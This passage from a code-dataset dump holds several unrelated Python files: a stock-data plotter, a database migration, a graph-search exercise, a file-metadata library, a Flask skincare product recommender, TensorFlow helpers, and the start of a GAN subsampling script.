results\n","sub_path":"simple_google_search/web_search.py","file_name":"web_search.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"647574681","text":"def stockHistoryYF(ticker, start_date, end_date):\n import pandas as pd\n #from pandas_datareader import data as pdr\n import fix_yahoo_finance as yf\n import datetime\n import csv\n import matplotlib.pyplot as plt\n\n# Data is name for function pulling stock info from Yahoo stock\n# For start and end input was converted to int and parsed to get Day, Month and Year\n# Year[0:4], Month[5:7], Day[8:10]\n data = yf.download(ticker, start=datetime.datetime(int(start_date[0:4]), int(start_date[5:7]), int(start_date[8:10])),\n end=datetime.datetime(int(end_date[0:4]), int(end_date[5:7]), int(end_date[8:10])))\n dailyGrowth = data['Close'] - data['Open'] # Close - Open to give growth over trading day\n tickerString = str(ticker)[2:-2] # Converts ticker to str and removes ['']\n #print(ticker)\n #print(data)\n print(dailyGrowth)\n# create unique csv file name to include stock symbol and date range.\n filename = tickerString + '_from_'+ start_date + '_to_' + end_date + '_Data_YF.csv'\n\n data.to_csv(filename,mode = 'a',header ='column_names')\n\n# Create plots and save them to file\n# First subplot plots the daily open and close value against each other\n# to see how the stock moved during the day\n #fig, axs = plt.subplots(1, 1, constrained_layout=True)\n plt.plot(data['Open'], 'b',data['Close'], 'r')\n plt.xlabel('Date')\n plt.ylabel('Value (USD)')\n plt.legend(['Open', 'Close'],loc='upper left')\n plt.title('Daily open and close values')\n plt.suptitle(tickerString)\n imageName = tickerString + '_from_'+ start_date + '_to_' + end_date + '_Data_YF.pdf'\n plt.savefig(imageName)\n #plt.show()\n plt.close()\n\n# Second subplot plots the daily growth (i.e. close value - open value)\n# to see how the stock moved over the day and percentage growth\n\n plt.plot(dailyGrowth)\n plt.xlabel('Date')\n plt.ylabel('Percentage')\n #plt.legend(['Open', 'Close'],loc='upper left')\n plt.title('Daily growth')\n plt.suptitle(tickerString)\n imageName = tickerString + '_from_'+ start_date + '_to_' + end_date + '_Daily_Growth_YF.pdf'\n plt.savefig(imageName)\n #plt.show()\n plt.close()\n","sub_path":"stockHistoryYFRev2.py","file_name":"stockHistoryYFRev2.py","file_ext":"py","file_size_in_byte":2174,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"450868890","text":"\"\"\"database options for sql lab\n\nRevision ID: 41f6a59a61f2\nRevises: 3c3ffe173e4f\nCreate Date: 2016-08-31 10:26:37.969107\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n# revision identifiers, used by Alembic.\nrevision = '41f6a59a61f2'\ndown_revision = '3c3ffe173e4f'\n\n\ndef upgrade():\n op.add_column('dbs', sa.Column('allow_ctas', sa.Boolean(), nullable=True))\n op.add_column(\n 'dbs', sa.Column('expose_in_sqllab', sa.Boolean(), nullable=True))\n op.add_column(\n 'dbs',\n sa.Column('force_ctas_schema', sa.String(length=250), nullable=True))\n\n\ndef downgrade():\n op.drop_column('dbs', 'force_ctas_schema')\n op.drop_column('dbs', 'expose_in_sqllab')\n op.drop_column('dbs', 'allow_ctas')\n","sub_path":"superset/migrations/versions/41f6a59a61f2_database_options_for_sql_lab.py","file_name":"41f6a59a61f2_database_options_for_sql_lab.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"83951434","text":"'''\n 문제설명\n PGM 네트워크 \n 그래프의 연결요소의 개수 구하는 문제와 유사하다. \n 해결전략\n BFS(너비우선탐색)으로 해결한다. 주어진 인접행렬과 해당 정점의 방문 여부를 표시하는 visited 리스트를 이용한다.\n visited 리스트를 fot문으로 돌며 방문하지 않은 정점을 시작정점으로 삼아 BFS 탐색을 시작한다. \n 1. 덱에 시작정점을 추가한다.\n 2. 덱의 앞에서 한 정점을 꺼내고 그 정점에 연결되어 있으면서 아직 방문하지 않은 정점을 덱에 추가하고 방문했음을 표시한다.\n 3. 덱이 빌 때까지 2번을 반복한다.\n BFS 탐색을 마치면 시작정점을 포함하는 연결요소를 하나 찾은 것이므로 연결요소의 개수를 하나 증가시킨다. \n 그 이후에 아직 방문하지 않은 정점이 남아있으면 그 정점을 시작 정점으로 삼아 다시 위의 과정을 반복한다.\n 즉, 모든 정점을 방문할 때까지 수행한 BFS 탐색의 횟수가 연결요소의 개수라고 할 수 있다.\n'''\nfrom collections import deque\ndef BFS(v, comps, visited):\n Q = deque()\n Q.append(v)\n while Q:\n tmp = Q.popleft()\n for i in range(len(comps)):\n if comps[tmp][i] == 1 and visited[i] == 0:\n Q.append(i)\n visited[i] = 1\n \ndef solution(n, computers):\n visited = [0] * n\n cnt = 0\n for i in range(n):\n if visited[i] == 0:\n visited[i] = 1\n BFS(i, computers, visited)\n cnt += 1\n return cnt\n","sub_path":"week10/HongheeLee/PGM_네트워크_210305.py","file_name":"PGM_네트워크_210305.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"124074543","text":"#This module implements an Application Programming Interface \n#to create and access metadata files.\n#Author: V. Atlidakis\n#Date: March 2011\nimport UserDefs\nimport mymd5\nimport math\nimport bitmap\nimport mysha1lib\nimport hashlib\nimport pickle\n\n\n#This is a function creating a metadata file for \"filename\".\n#Metadata is named after respective file, with a suffix \".ant\".\ndef create_metadatafile(filename):\n\t\n\t#try to open file for reading and go to the begginning.\n\ttry:\n\t\tf=open(filename,'rb')\n\t\tfilesize=f.seek(0,2) \t\t\t\t\t\n\t\tf.seek(0)\n\t#If an Exception occurs, raise it.\n\texcept IOError as detail:\n\t\tprint(\"Error Opening File:\",detail)\n\t\traise\n\t#If an Exception occurs, raise it.\n\texcept Exception as detail:\n\t\tprint(\"Unexpected Exception::\",detail)\n\t\traise\n\t\t\n\tblock_size=UserDefs.PieceSize\t\t\t\t#Block size\n\tFileMd5=mymd5.mymd5_file(f,1000*4096) \t#THIS WILL BE OF NO NEED\t \t\t\t\t\n\tBMPLENGTH=math.ceil(filesize/UserDefs.PieceSize)\t#calculate length of bitmap.\n\tf.seek(0)\t\n\tsha1s=[]\n\t#constructor of sha-1 hash.\n\tmetadata_hash=hashlib.new('sha1')\t\t\t#create hash of metadata file, which will be used as file identifier.\n\tfor i in range(0,BMPLENGTH):\t\t\t\t\n\t\ttry:\n\t\t\tchunk=f.read(UserDefs.PieceSize)\t#read each block of file\n\t\t#If an Exception occurs, raise it.\n\t\texcept \tIOError as detail:\n\t\t\tprint(\"IOFile Error at server thread:\",detail)\n\t\t\traise\n\t\t#If an Exception occurs, raise it.\n\t\texcept Exception as detail:\n\t\t\tprint(\"Unexpected Exception at server thread:\",detail)\n\t\t\traise\n\t\tsha1s.append(mysha1lib.mysha1(chunk))\t\t#create sha1 for current block.\n\t\tmetadata_hash.update(chunk)\t\t\t#update hash of metadata\n\tf.close()\t\t\t\t\t\t#close file\n\n\tmetadata_dict={'filename':filename\t\t\t#create final metadata block\n\t\t,'filesize':filesize\n\t\t,'FileMd5':FileMd5\n\t\t,'sha1s_map':sha1s\n\t\t,'block_size':block_size\n\t\t,'metadata_hash':metadata_hash.hexdigest()\n\t\t}\n\tpickled=pickle.dumps(metadata_dict)\n\t#try to open file for writting and go to the begginning.\t\t\t\n\ttry:\n\t\tf=open(filename+'.ant','wb')\n\t#If an Exception occurs, raise it.\t\t\t\n\texcept IOError as detail:\n\t\tprint(\"Error Opening File: \",filename,\":: \",detail)\n\t\traise\n\t#try to position at the begginning of the file.\n\ttry:\n\t\tf.seek(0) \n\t#If an Exception occurs close file and raise it.\t \t\t\t\t\t\t\t \n\texcept IOError as detail:\n\t\tprint(\"Error Seeking File: \",filename,\":: \",detail)\n\t\tf.close()\n\t\traise\n\t#try to write metadata block into file.\n\ttry:\n\t\tf.write(pickled) \n #If an Exception occurs close file and raise it.\n\texcept Exception as detail:\n\t\tprint(\"Error Writting File: \",filename,\":: \",detail)\n\t\tf.close()\n\t\traise\n\tf.close()\t\t\t\t\t\t#close file\n\tprint(\"metadata successfully written:\",metadata_dict['metadata_hash'],BMPLENGTH,\" pieces in file.\")\n\treturn metadata_dict\t\t\t\t\t#return metadata block.\n\n\n#this is a function reading a metadata file and creates a\n#dictionary from metadata included in file.\ndef read_metadatafile(filename):\n\n\t#try to open file for reading and go to the begginning.\n\ttry:\n\t\tf=open(filename+'.ant','rb')\t\n\t#If an Exception occurs, raise it.\t\t\n\texcept IOError as detail:\n\t\tprint(\"IOError Opening File: \",filename,\":: \",detail)\n\t\traise\n\t#If an Exception occurs, raise it.\n\texcept Exception as detail:\n\t\tprint(\"Unexpected Exception Opening File::\",detail)\n\t\traise\n\t\n\t#try to position at the begginning of the file.\n\ttry:\n\t\tf.seek(0) \n\t#If an Exception occurs close file and raise it.\t\t\t\t\t\t\t\n\texcept IOError as detail:\n\t\tf.close()\n\t\tprint(\"IOError Seeking File: \",filename,\":: \",detail)\n\t\traise\n\t#If an Exception occurs close file and raise it.\n\texcept Exception as detail:\n\t\tf.close()\n\t\tprint(\"Unexpected Exception Seeking File:\",detail)\n\t\traise\n\t#try to read metadata block from file.\n\ttry:\n\t\tp_dict=f.read() \n\t#If an Exception occurs close file and raise it. \n\texcept IOError as detail:\n\t\tf.close()\n\t\tprint(\"IOError Reading File: \",filename,\":: \",detail)\n\t\traise\n\t#If an Exception occurs close file and raise it.\n\texcept Exception as detail:\n\t\tf.close()\n\t\tprint(\"Unexpected Exception Reading File: \",filename,\":: \",detail)\n\t\traise\n\n\tmetadata_dict=pickle.loads(p_dict)\n\t#return metadata block read.\n\treturn metadata_dict\n","sub_path":"EnhancedBT2011/metadataLib.py","file_name":"metadataLib.py","file_ext":"py","file_size_in_byte":4165,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"70896295","text":"import numpy as np\n\nfrom . import *\nfrom app.irsystem.models.helpers import *\nfrom app.irsystem.models.helpers import NumpyEncoder as NumpyEncoder\nimport random\nfrom sqlalchemy import and_\n\n\nproject_name = [\"Pocket\", \"Esthetician\"]\nnet_id = \"Em (erg92), Kriti(ks867), Raheel (ray37), Shan (ssp237)\"\ntip = ''\nquery = {}\nchanged_mat = False\n\ndef adjust_sensitivity(ranking, sensitive, products_to_indices):\n \"\"\"Returns the ranking after adjusting scores based on skin sensiivity.\n \n Params: {ranking: Numpy Array,\n sensitive: Boolean}\n Returns: Numpy Array \n \"\"\"\n products = set(products_to_indices.keys())\n if sensitive:\n scrubs = products.intersection(set(categories['abrasive/scrub']['products']))\n perfuming = products.intersection(set(categories['perfuming']['products']))\n for prod in scrubs:\n ranking[products_to_indices[prod]] *= 0.25\n for prod in perfuming:\n ranking[products_to_indices[prod]] *= 0.25\n \n soothing = products.intersection(set(categories['soothing']['products']))\n for prod in soothing:\n ranking[products_to_indices[prod]] *= 1.75\n return ranking\n\n\ndef adjust_skin_type(ranking, s_type, product_types, products_to_indices, categories):\n \"\"\"Returns the ranking after adjusting scores based on skin type.\n \n Params: {ranking: Numpy Array,\n s_type: String}\n Returns: Numpy Array \n \"\"\"\n products = set(products_to_indices.keys())\n if s_type == 'oily':\n \n ranking[product_types['Face Oils']] *= 0.1\n \n absorbent = products.intersection(set(categories['absorbent/mattifier']['products']))\n for prod in absorbent:\n ranking[products_to_indices[prod]] *= 1.5\n ranking[product_types['BHA Products']] *= 1.5\n ranking[product_types['Oil Absorbing Products']] *= 1.75\n \n elif s_type == 'dry':\n absorbent = products.intersection(set(categories['absorbent/mattifier']['products']))\n for prod in absorbent:\n ranking[products_to_indices[prod]] *= 0.1\n ranking[product_types['Oil Absorbing Products']] *= 0.1\n \n soothing = products.intersection(set(categories['soothing']['products']))\n for prod in soothing:\n ranking[products_to_indices[prod]] *= 1.5\n \n elif s_type == 'combo':\n pass\n \n return ranking\n\n\ndef adjust_rating(ranking, ratings):\n \"\"\"Returns the ranking after adjusting scores based on product ratings.\n \n Params: {ranking: Numpy Array,\n ratings: Numpy Array}\n Returns: Numpy Array \n \"\"\"\n r1 = ratings == 1\n ranking[r1] *= 0.5\n \n r2 = ratings == 2\n ranking[r2] *= 0.75\n \n# r3 = ratings == 3\n# ranking[r3] *= 1\n \n r4 = ratings == 4\n ranking[r4] *= 1.25\n \n r5 = ratings == 5\n ranking[r5] *= 1.5\n \n return ranking\n\n\ndef cos_sim(c, tfidf_mat, category_to_idx):\n \"\"\"Returns the cosine similarity of the query and a concern list.\n \n Params: {c: String,\n tfidf_mat: np.ndarray,\n category_to_idx: Dict}\n Returns: Float \n \"\"\"\n # query is last row\n v1 = tfidf_mat[len(tfidf_mat)-1]\n v2 = tfidf_mat[category_to_idx[c]]\n num = np.dot(v1, v2)\n \n denom = max((np.linalg.norm(v1)*np.linalg.norm(v2)), 1e-7)\n return num/denom\n\n\ndef claims_similarity(query, product_info, prod_to_idx):\n \"\"\" Finds cosine similarity between input query (concerns) and each product's claims. \n Returns a numpy array with each product's score.\n \n Params: {query: (user input) String,\n product_info: (product -> Dict) Dict,\n prod_to_idx: (product -> index) Dict}\n Returns: Numpy Array\n \"\"\"\n result = np.zeros(len(prod_to_idx))\n \n tfidf_vec = TfidfVectorizer(stop_words = 'english')\n lst = [product_info[k]['claims'] for k in product_info.keys()]\n lst.append(query)\n tfidf_mat = tfidf_vec.fit_transform(lst).toarray()\n \n for k,v in product_info.items():\n sim = cos_sim(k, tfidf_mat, prod_to_idx)\n result[prod_to_idx[k]] += sim\n \n return result\n\n\ndef cos_sim_row(query, mat, term_ind):\n \"\"\"\n Compute cosine similarity between query and mat\n :param query: indices of terms in the query\n :param mat: tip - term count matrix\n :param term_ind: Index of tip to find similarity of\n :return: cosine similarity of query and term\n \"\"\"\n n1 = np.sqrt(len(query))\n v2 = mat[term_ind, :][query]\n if np.linalg.norm(v2) == 0:\n return 0\n return np.sum(v2) / (n1 * np.linalg.norm(v2))\n\n\ndef getTip(query_string, mat, tip_ind, key_ind):\n \"\"\"\n Return a random tip within the 5 most similar to the given query\n :param query_string: Text of query\n :param mat: tip-term frequency matrix\n :param tip_ind: tip to index dict\n :param key_ind: keyword to index dict\n :return: tip to display\n \"\"\"\n count_vec = CountVectorizer(stop_words='english')\n query_list = count_vec.fit_transform([query_string]).toarray()\n query = [key_ind[w]\n for w in list(count_vec.vocabulary_.keys())\n if w in key_ind]\n tip_ranking = [(k, cos_sim_row(query, mat, i)) for (k, i) in tip_ind.items()]\n tip_sorted = sorted(tip_ranking, key=lambda x: x[1], reverse=True)\n return tip_sorted[random.randint(0, min(len(tip_sorted), 5))][0]\n\n\ndef updateTip(query_string, mat, tip_ind, key_to_ind, inc):\n \"\"\"\n Update the count of each term in query in mat\n :param query_string: text of query\n :param mat: tip-term frequency mat\n :param tip_ind: index of tip\n :param key_to_ind: keyword to index dictionary\n :param inc: If true, increase count. If false, decrease\n :return: Modified array\n \"\"\"\n count_vec = CountVectorizer(stop_words='english')\n query_list = count_vec.fit_transform([query_string]).toarray()\n n_terms = len(key_to_ind)\n diff = 1.0 if inc else -0.5\n for q in list(count_vec.vocabulary_.keys()):\n if q in key_to_ind:\n mat[tip_ind, key_to_ind[q]] = max(mat[tip_ind, key_to_ind[q]] + diff, 0)\n else:\n key_to_ind[q] = n_terms\n col = np.zeros((mat.shape[0], 1))\n col[tip_ind] = max(diff, 0)\n mat = np.append(mat, col, axis=1)\n\n return mat\n\n\ndef concern_similarity(query, category_info, prod_to_idx, category_to_idx, product_types):\n \"\"\" Finds cosine similarity between input query (concerns) and each product category's concern list. \n Returns a numpy array with each product's score, based on the categories they are in.\n \n Params: {query: (user input) String,\n category_info: (category -> Dict) Dict,\n prod_to_idx: (product -> index) Dict, \n category_to_idx: (category -> index) Dict}\n Returns: Numpy Array\n \"\"\"\n result = np.zeros(len(prod_to_idx))\n\n lst = [category_info[k]['concerns'] for k in categories.keys()]\n lst.append(query)\n tfidf_vec = TfidfVectorizer(stop_words='english')\n tfidf_mat = tfidf_vec.fit_transform(lst).toarray()\n \n for k,v in category_info.items():\n sim = cos_sim(k, tfidf_mat, category_to_idx)\n for p in v['products']:\n if p in prod_to_idx:\n result[prod_to_idx[p]] += sim\n\n \n # added adjustments\n for category in relevant_product_types[k]['relevant']:\n result[product_types[product_file_to_type[category]]] *= 1.5\n for category in relevant_product_types[k]['irrelevant']:\n result[product_types[product_file_to_type[category]]] *= 0.1\n return result\n\n\n# def rank_products(query, category_info, prod_to_idx, idx_to_prod, product_info, category_to_idx,\n# product_types, ratings, product_type=None, skin_type=None, price_min=None, price_max=None,\n# sensitivity=None):\ndef rank_products(query, category_info, prod_to_idx, idx_to_prod, product_info, category_to_idx, product_types, \n ratings, product_type=None, skin_type=None, sensitivity=None):\n \"\"\" Returns a ranked list of products, with the most relevant at index 0.\n \n Params: {query: (user input) String,\n category_info: (category -> Dict) Dict,\n prod_to_idx: (product -> index) Dict,\n idx_to_prod: (index -> product) Dict,\n product_info: (product -> Dict) Dict\n product_types: (product type -> Numpy Array) Dict,\n ratings: Numpy Array,\n skin_type: String,\n sensitivity: Boolean,\n Returns: List\n \"\"\"\n scores = 2 * claims_similarity(query, product_info, prod_to_idx)\n scores += concern_similarity(query, category_info, prod_to_idx, category_to_idx, product_types)\n if sum(scores) == 0: return 'invalid query'\n \n # ranking adjustments\n scores = adjust_rating(scores, ratings)\n if skin_type is not None:\n scores = adjust_skin_type(scores, skin_type, product_types, prod_to_idx, category_info)\n if sensitivity is not None:\n scores = adjust_sensitivity(scores, sensitivity, prod_to_idx)\n \n # strict filters\n# if price_min is not None:\n# m1 = prices < price_min\n# scores[m1] = 0\n# if price_max is not None:\n# m2 = prices > price_max\n# scores[m2] = 0\n if product_type is not None:\n scores[np.invert(product_types[product_type])] = 0\n \n len_rank = np.count_nonzero(scores)\n scores_idx = [(val,prod) for prod, val in enumerate(scores)]\n rank_idx = sorted(scores_idx, key = lambda x: (x[0], ratings[x[1]], product_info[idx_to_prod[x[1]]][\"num faves\"]),\n reverse = True)\n \n ranking = list(map(lambda x: (idx_to_prod[x[1]], product_info[idx_to_prod[x[1]]], \n int(ratings[x[1]]), imagelinks[idx_to_prod[x[1]]][\"image link\"]), rank_idx))[:len_rank]\n return ranking\n\n\ndef get_data(product_type=None, budget=(0, 1000)):\n \"\"\"\n Get data dictionary and product-index dictionary for products\n matching given parameters\n :param product_type: Type of product (string)\n :param budget: Budget to stay within (tuple of numbers)\n :return: Tuple of dictionary of data, product index dictionary,\n index product dictionary, ranking info, and new product types dict.\n \"\"\"\n data = {}\n i = 0\n p_to_ind, ind_to_p = {}, {}\n filters = and_(Product.price >= budget[0], Product.price <= budget[1])\n if product_type:\n filters = and_(filters, Product.ptype.any(product_type))\n query_data = Product.query.with_entities(\n Product.name, Product.num_faves,\n Product.claims, Product.ingredients, Product.ptype).filter(filters).all()\n num_products = len(query_data)\n ptypes = {}\n \n for k,v in product_file_to_type.items():\n ptypes[v] = np.full(num_products, False)\n \n for prod in query_data:\n data[prod.name] = {\n \"num faves\": prod.num_faves,\n \"claims\": prod.claims,\n # \"ingredients\": prod.ingredients\n }\n for t in prod.ptype:\n# if t in ptypes:\n ptypes[t][i] = True\n# else:\n# ptypes[t] = np.full(num_products, False)\n# ptypes[t][i] = True\n p_to_ind[prod.name] = i\n ind_to_p[i] = prod.name\n i += 1\n\n ratings = np.zeros(len(data))\n for prod in reviews_lst:\n if prod[\"product\"] in data:\n ratings[p_to_ind[prod[\"product\"]]] = prod['rate']\n return data, p_to_ind, ind_to_p, ratings, ptypes\n\n\ndef get_price_and_link(name):\n \"\"\"\n Get the price and link of a product given a name\n \"\"\"\n prod = Product.query.with_entities(Product.price, Product.link, Product.brand).filter_by(name=name).first()\n return prod.price, prod.link, prod.brand\n\n\n@irsystem.route('/increase')\ndef inc_query():\n \"\"\"\n Increase the weight of the current query in the last returned tip\n \"\"\"\n global changed_mat, tips_arr\n if not query or changed_mat:\n return \"data\"\n tips_arr = updateTip(query, tips_arr, tips_to_ind[tip], terms_to_ind, True)\n numpyToDic(tips_arr, tips_to_ind, terms_to_ind, tips)\n with open(tip_file, \"w\") as file:\n json.dump(tips, file, indent=7)\n changed_mat = True\n return \"data\"\n\n\n@irsystem.route('/decrease')\ndef dec_query():\n \"\"\"\n Decrease the weight of the current query in the last returned tip\n \"\"\"\n global changed_mat, tips_arr\n if not query or changed_mat:\n return \"nothing\"\n tips_arr = updateTip(query, tips_arr, tips_to_ind[tip], terms_to_ind, False)\n numpyToDic(tips_arr, tips_to_ind, terms_to_ind, tips)\n with open(tip_file, \"w\") as file:\n json.dump(tips, file, indent=7)\n changed_mat = True\n return \"nothing\"\n\n\n@irsystem.route('/', methods=['GET'])\ndef search():\n global tip, query, changed_mat\n query = request.args.get('search')\n\n changed_mat = False\n\n #Get Filter Values from frontend\n product = request.args.get('product-type')\n if product == 'all': product = None\n skin = request.args.get('skin-type')\n if skin == 'all': skin = None\n price_min = parse_for_int(request.args.get('price-min'), 0)\n price_min = 0 if price_min < 0 else price_min\n price_max = parse_for_int(request.args.get('price-max'), 1000)\n price_max = 1000 if price_max > 1000 else price_max \n\n\n sensitive = request.args.get('sensitivity')\n if sensitive == 'high': sensitive = True\n elif sensitive == 'low': sensitive = False\n else: sensitive = None\n\n if not query:\n search_data = []\n output_message = ''\n tip = ''\n tip_data = {}\n else:\n tip = getTip(query, tips_arr, tips_to_ind, terms_to_ind)\n tip_data = tips[tip]\n new_data, p_to_ind, ind_to_p, new_rates, new_p_types = \\\n get_data(product_type=product, budget=(price_min, price_max))\n search_data = rank_products(query, categories, p_to_ind, ind_to_p,\n new_data, category_to_index, new_p_types, new_rates,\n product_type=None, skin_type=skin,\n sensitivity=sensitive)\n output_message = \"Top \" + str(min(len(search_data), 10)) + \" products for: \" + query\n \n # invalid concerns query\n if search_data == 'invalid query':\n search_data = []\n output_message = 'Sorry, that query is invalid. Please check spelling or try different keywords! \\n For example: \"acne\"'\n \n # no results (due to advanced search filtering)\n elif len(search_data) == 0:\n output_message = 'Sorry, there are no results matching your preferences.'\n\n else:\n search_data = search_data[:min(10, len(search_data))]\n for tup in search_data:\n dat = get_price_and_link(tup[0])\n tup[1][\"price\"] = dat[0]\n tup[1][\"link\"] = dat[1]\n tup[1][\"brand\"] = dat[2]\n\n return render_template('search.html', name=project_name, netid=net_id,\n output_message=output_message, data=search_data,\n tip=tip, tip_data=tip_data, \n query=query, product_types=product_types, product_type=product, \n price_min=price_min, price_max=price_max,\n skin_type=skin, sensitive=sensitive)\n\n\ndef parse_for_int(request, value_if_none):\n return int(request if request else value_if_none)\n\n# @irsystem.route('/filter', methods=['POST'])\n# def filter():\n# product_type = str(request.form.get('product-type'))\n# skin_type = str(request.form.get('skin-type'))\n# query = str(request.args.get('search'))\n \n# search_data = rank_products(query, categories, products_to_indices,\n# indices_to_products, data, category_to_index,\n# product_types, price_ranges, \n# product_type=product_type, skin_type=skin_type)\n# output_message = \"We found \" + str(len(search_data)) + \" products for: \" + query\n \n# return render_template('search.html', name=project_name, netid=net_id,\n# output_message=output_message, data=search_data[:10], query=query)","sub_path":"app/irsystem/controllers/search_controller.py","file_name":"search_controller.py","file_ext":"py","file_size_in_byte":16410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"68195656","text":"import tensorflow as tf\nimport numpy as np\nfrom inspect import signature\nfrom functools import wraps\nimport heapq\nimport itertools\nimport time\n\n\ndef activation_function(act,act_input):\n act_func = None\n if act == \"sigmoid\":\n act_func = tf.nn.sigmoid(act_input)\n elif act == \"tanh\":\n act_func = tf.nn.tanh(act_input)\n \n elif act == \"relu\":\n act_func = tf.nn.relu(act_input)\n \n elif act == \"elu\":\n act_func = tf.nn.elu(act_input)\n \n elif act == \"identity\":\n act_func = tf.identity(act_input)\n \n elif act == \"softmax\":\n act_func = tf.nn.softmax(act_input)\n \n elif act == \"selu\":\n act_func = tf.nn.selu(act_input) \n \n else:\n raise NotImplementedError(\"ERROR\")\n return act_func \n\n\ndef get_data_format(data_format):\n if data_format == \"UIRT\":\n columns = [\"user\", \"item\", \"rating\", \"time\"]\n \n elif data_format == \"UIR\":\n columns = [\"user\", \"item\", \"rating\"]\n \n elif data_format == \"UIT\":\n columns = [\"user\", \"item\", \"time\"] \n \n elif data_format == \"UI\":\n columns = [\"user\", \"item\"] \n \n else:\n raise ValueError(\"please choose a correct data format. \")\n \n return columns\n\n\ndef csr_to_user_dict(train_matrix):\n \"\"\"convert a scipy.sparse.csr_matrix to a dict,\n where the key is row number, and value is the\n non-empty index in each row.\n \"\"\"\n train_dict = {}\n for idx, value in enumerate(train_matrix):\n if len(value.indices) > 0:\n train_dict[idx] = value.indices.copy().tolist()\n return train_dict\n\n\ndef csr_to_user_dict_bytime(time_matrix,train_matrix):\n train_dict = {}\n time_matrix = time_matrix\n user_pos_items = csr_to_user_dict(train_matrix)\n for u, items in user_pos_items.items():\n sorted_items = sorted(items, key=lambda x: time_matrix[u,x])\n train_dict[u] = np.array(sorted_items, dtype=np.int32).tolist()\n\n return train_dict\n\n\ndef get_initializer(init_method, stddev):\n if init_method == 'tnormal':\n return tf.truncated_normal_initializer(stddev=stddev)\n elif init_method == 'uniform':\n return tf.random_uniform_initializer(-stddev, stddev)\n elif init_method == 'normal':\n return tf.random_normal_initializer(stddev=stddev)\n elif init_method == 'xavier_normal':\n return tf.contrib.layers.xavier_initializer(uniform=False)\n elif init_method == 'xavier_uniform':\n return tf.contrib.layers.xavier_initializer(uniform=True)\n elif init_method == 'he_normal':\n return tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=False)\n elif init_method == 'he_uniform':\n return tf.contrib.layers.variance_scaling_initializer(\n factor=2.0, mode='FAN_IN', uniform=True)\n else:\n return tf.truncated_normal_initializer(stddev=stddev) \n\n\ndef noise_validator(noise, allowed_noises):\n '''Validates the noise provided'''\n try:\n if noise in allowed_noises:\n return True\n elif noise.split('-')[0] == 'mask' and float(noise.split('-')[1]):\n t = float(noise.split('-')[1])\n if t >= 0.0 and t <= 1.0:\n return True\n else:\n return False\n except:\n return False\n pass \n\n\ndef argmax_top_k(a, top_k=50):\n ele_idx = heapq.nlargest(top_k, zip(a, itertools.count()))\n return np.array([idx for ele, idx in ele_idx], dtype=np.intc)\n\n\ndef inner_product(a, b, name=\"inner_product\"):\n with tf.name_scope(name=name):\n return tf.reduce_sum(tf.multiply(a, b), axis=-1)\n\n\ndef l2_loss(*params):\n return tf.add_n([tf.nn.l2_loss(w) for w in params])\n\n\ndef log_loss(yij, name=\"log_loss\"):\n \"\"\" bpr loss\n \"\"\"\n with tf.name_scope(name):\n return -tf.log_sigmoid(yij)\n","sub_path":"util/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":4025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"477659411","text":"import os\n\ndef search_in_file(file_name, search_character):\n character_len = len(search_character)\n file_base_name = os.path.basename(file_name)\n dir_name = os.path.dirname(file_name)\n file = open(file_name, 'r') # 文件打开\n\n count = 0\n for each_line in file:\n count += 1\n array_store = []\n pointer = 0\n result = -1\n\n while pointer <= character_len: # 当未达到当前行的末尾时,尝试搜寻下一个\n try:\n result = each_line.index(search_character, pointer)\n except ValueError: # 当该行无匹配项时退出循环,进入下一行\n break\n if result >= 0:\n pointer = result + 1 # 指针后移\n array_store.append([result, result + character_len])\n else:\n break\n if len(array_store): # 当列表不为空时,打印结果\n print(\"'\" + search_character + '\\' exists at line ' + str(count) + ', position: ', end='')\n for each in range(len(array_store)):\n print(array_store[each], end = ' ')\n print('in file: ' + file_base_name + 'and the address is: ' + dir_name)\n file.close()\n\ndef search_files(address, search_character):\n os.chdir(address)\n all_files = os.walk(address)\n txt_files = []\n list1 = list(all_files)\n count_each_file = 0\n for each_file in list1:\n for each_item in each_file:\n for every in each_item:\n if every.split('.')[-1] == 'txt': \n txt_files.append(list1[count_each_file][0] + '/' + every)\n count_each_file += 1\n\n for each in txt_files:\n search_in_file(each, search_character)\n\naddress = input('enter the files address:\\n')\nsearch_character = input('the character want to search:\\n')\nsearch_files(address, search_character)","sub_path":"python/homework/test30_4.py","file_name":"test30_4.py","file_ext":"py","file_size_in_byte":1884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"639416672","text":"print(\"\\n ===================================================================================================\")\n\n#----------------------------------------\nimport argparse\nimport os\nimport timeit\nimport torch\nimport torchvision\nimport torchvision.transforms as transforms\nimport numpy as np\nimport torch.nn as nn\nimport torch.backends.cudnn as cudnn\nfrom torch.nn import functional as F\nimport random\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nmpl.use('Agg')\nfrom torch import autograd\nfrom torchvision.utils import save_image\nfrom tqdm import tqdm, trange\nimport gc\nfrom itertools import groupby\nimport multiprocessing\nimport h5py\nimport pickle\nimport copy\nimport shutil\n\n\n#----------------------------------------\nfrom opts import gen_synth_data_opts\nfrom utils import *\nfrom models import *\nfrom train_cnn import train_cnn, test_cnn\nfrom train_dre import train_dre\nfrom eval_metrics import compute_FID, compute_IS\n\n\n#######################################################################################\n''' Settings '''\n#######################################################################################\nargs = gen_synth_data_opts()\nprint(args)\n\nif args.subsampling:\n subsampling_method = \"DRE-F-SP_lambda_{}\".format(args.dre_lambda)\nelse:\n subsampling_method = \"None\"\n\npath_torch_home = os.path.join(args.root_path, 'torch_cache')\nos.makedirs(path_torch_home, exist_ok=True)\nos.environ['TORCH_HOME'] = path_torch_home\n\n#-------------------------------\n# GAN and DRE\ndre_precnn_lr_decay_epochs = 